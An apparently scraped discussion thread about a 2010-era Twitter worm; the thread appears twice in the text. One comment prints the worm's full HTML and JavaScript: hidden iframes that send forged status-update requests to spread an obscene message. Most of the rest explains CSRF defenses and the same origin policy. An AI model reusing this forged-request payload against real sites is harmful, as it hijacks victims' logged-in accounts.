10 ms·

Twitter worm? Sex with goats?

25 points by cjus 16y ago

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link.

boundlessdreamz 16y ago
Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. http://m.onkey.org/2007/9/28/csrf-protection-for-your-existing-rails-application http://m.onkey.org/2007/9/28/csrf-protection-for-your-existi... Also this status post should be a POST.
- ssclafani 16y ago
  Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.
deleted 16y ago
[deleted]
deleted 16y ago
[deleted]
thehodge 16y ago
Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)
mrduncan 16y ago
Below is the source of the worm for the curious - it's surprisingly very simple. <html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html>
- tlrobinson 16y ago
  That would be a cross-site request forgery (CSRF) attack: http://en.wikipedia.org/wiki/Cross-site_request_forgery http://en.wikipedia.org/wiki/Cross-site_request_forgery
- Groxx 16y ago
  Yet another reason why all GET requests in an API should be idempotent.
  - cperciva 16y ago
    idempotent I don't think that word means what you think it means. Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad. You probably meant "GET requests should be side effect free".
    - dandelany 16y ago
      Idempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound. A request that is side effect free is idempotent by definition.
      - makmanalp 16y ago
        Right, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts
        pohl 16y ago
        ...the concept was created to talk about distributed systems and remote procedure calls... I'm pretty sure the concept's use in mathematics predates that by far.
rbranson 16y ago
Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.
- tlrobinson 16y ago
  That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain. Checking the referrer header is a start. Including the token you mentioned is even better.
  - jluxenberg 16y ago
    Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.
    - crux_ 16y ago
      > scrape the token from a legit form Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form? (There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... ) (edit: tweak to 'cryptohash' method.)
      - deleted 16y ago
        [deleted]
        crux_ 16y ago
        EDIT: The parent deleted their reply; since I took the time to get all teacher-mode here I figured I'd include it, cut and pasted, but without their username. > If you know the URL of the form, isn't it as simple as using Javascript to pull up the page, parse the token variable out of the page, and then using that? > > Right now, the Javascript just has to: 1) post to http://www.form.com.... > > Now, the Javascript has to: 1) fetch http://www.form.com... 2) parse the response, find <input name="authToken" value="ohSoSecureAuthToken" 3) post to http://www.form.com... with the authToken > > Sure, its more steps, but isn't it just as insecure? You're missing a concept here, and it's one of these two things (most likely the 2nd): 1) The form (& token) is generated server-side based on the currently logged in user, as determined by a cookie (or http authentication, or https client certs, etc.): So each user gets a different form+token, and is only generated with a valid current session. In other words, you can't get this form unless you are successfully impersonating the victim or forcing the victim's logged-in web browser to make the request. 2) In the case that you do force the victim's browser to make the request, the browser security model has a whole bunch of restrictions on what javascript can read which data, collectively known as the same origin policy (http://en.wikipedia.org/wiki/Same_origin_policy http://en.wikipedia.org/wiki/Same_origin_policy). In particular, the same origin policy will make your step two, "parse the response", fail: javascript running on a page from a.com has no access to responses from b.com. Without the same origin policy, we'd all be hosed. Imagine code on a hostile web page that scrapes your contact book if you're logged into email on another tab, your bank account, etc... all of these follow the same basic pattern as steps 1-2 in your reply. Assuming no other security flaws and verifiable and non-forgeable form tokens, then the same origin policy will effectively protect third party websites from submitting requests on behalf of a victim. Note that those are both very big assumptions, e.g. it turns out that you can forge 'secure' tokens from ASP.NET because they screwed up their crypto. (I think the tokens in question are typically used for session cookies, but same general idea.)
kmfrk 16y ago
Twitter's blog post on the vulnerability: http://status.twitter.com/post/1192873885/malicious-links-on-twitter http://status.twitter.com/post/1192873885/malicious-links-on....

25 points by cjus 16y ago

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link.

boundlessdreamz 16y ago

Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. http://m.onkey.org/2007/9/28/csrf-protection-for-your-existing-rails-application http://m.onkey.org/2007/9/28/csrf-protection-for-your-existi... Also this status post should be a POST.

ssclafani 16y ago
Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.

deleted 16y ago

[deleted]

deleted 16y ago

[deleted]

thehodge 16y ago

Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)

mrduncan 16y ago

Below is the source of the worm for the curious - it's surprisingly very simple. <html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html>

tlrobinson 16y ago
That would be a cross-site request forgery (CSRF) attack: http://en.wikipedia.org/wiki/Cross-site_request_forgery http://en.wikipedia.org/wiki/Cross-site_request_forgery
Groxx 16y ago
Yet another reason why all GET requests in an API should be idempotent.
- cperciva 16y ago
  idempotent I don't think that word means what you think it means. Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad. You probably meant "GET requests should be side effect free".
  - dandelany 16y ago
    Idempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound. A request that is side effect free is idempotent by definition.
    - makmanalp 16y ago
      Right, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts
      - pohl 16y ago
        ...the concept was created to talk about distributed systems and remote procedure calls... I'm pretty sure the concept's use in mathematics predates that by far.

rbranson 16y ago

Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.

tlrobinson 16y ago
That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain. Checking the referrer header is a start. Including the token you mentioned is even better.
- jluxenberg 16y ago
  Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.
  - crux_ 16y ago
    > scrape the token from a legit form Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form? (There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... ) (edit: tweak to 'cryptohash' method.)
    - deleted 16y ago
      [deleted]
      - crux_ 16y ago
        EDIT: The parent deleted their reply; since I took the time to get all teacher-mode here I figured I'd include it, cut and pasted, but without their username. > If you know the URL of the form, isn't it as simple as using Javascript to pull up the page, parse the token variable out of the page, and then using that? > > Right now, the Javascript just has to: 1) post to http://www.form.com.... > > Now, the Javascript has to: 1) fetch http://www.form.com... 2) parse the response, find <input name="authToken" value="ohSoSecureAuthToken" 3) post to http://www.form.com... with the authToken > > Sure, its more steps, but isn't it just as insecure? You're missing a concept here, and it's one of these two things (most likely the 2nd): 1) The form (& token) is generated server-side based on the currently logged in user, as determined by a cookie (or http authentication, or https client certs, etc.): So each user gets a different form+token, and is only generated with a valid current session. In other words, you can't get this form unless you are successfully impersonating the victim or forcing the victim's logged-in web browser to make the request. 2) In the case that you do force the victim's browser to make the request, the browser security model has a whole bunch of restrictions on what javascript can read which data, collectively known as the same origin policy (http://en.wikipedia.org/wiki/Same_origin_policy http://en.wikipedia.org/wiki/Same_origin_policy). In particular, the same origin policy will make your step two, "parse the response", fail: javascript running on a page from a.com has no access to responses from b.com. Without the same origin policy, we'd all be hosed. Imagine code on a hostile web page that scrapes your contact book if you're logged into email on another tab, your bank account, etc... all of these follow the same basic pattern as steps 1-2 in your reply. Assuming no other security flaws and verifiable and non-forgeable form tokens, then the same origin policy will effectively protect third party websites from submitting requests on behalf of a victim. Note that those are both very big assumptions, e.g. it turns out that you can forge 'secure' tokens from ASP.NET because they screwed up their crypto. (I think the tokens in question are typically used for session cookies, but same general idea.)

kmfrk 16y ago

Twitter's blog post on the vulnerability: http://status.twitter.com/post/1192873885/malicious-links-on-twitter http://status.twitter.com/post/1192873885/malicious-links-on....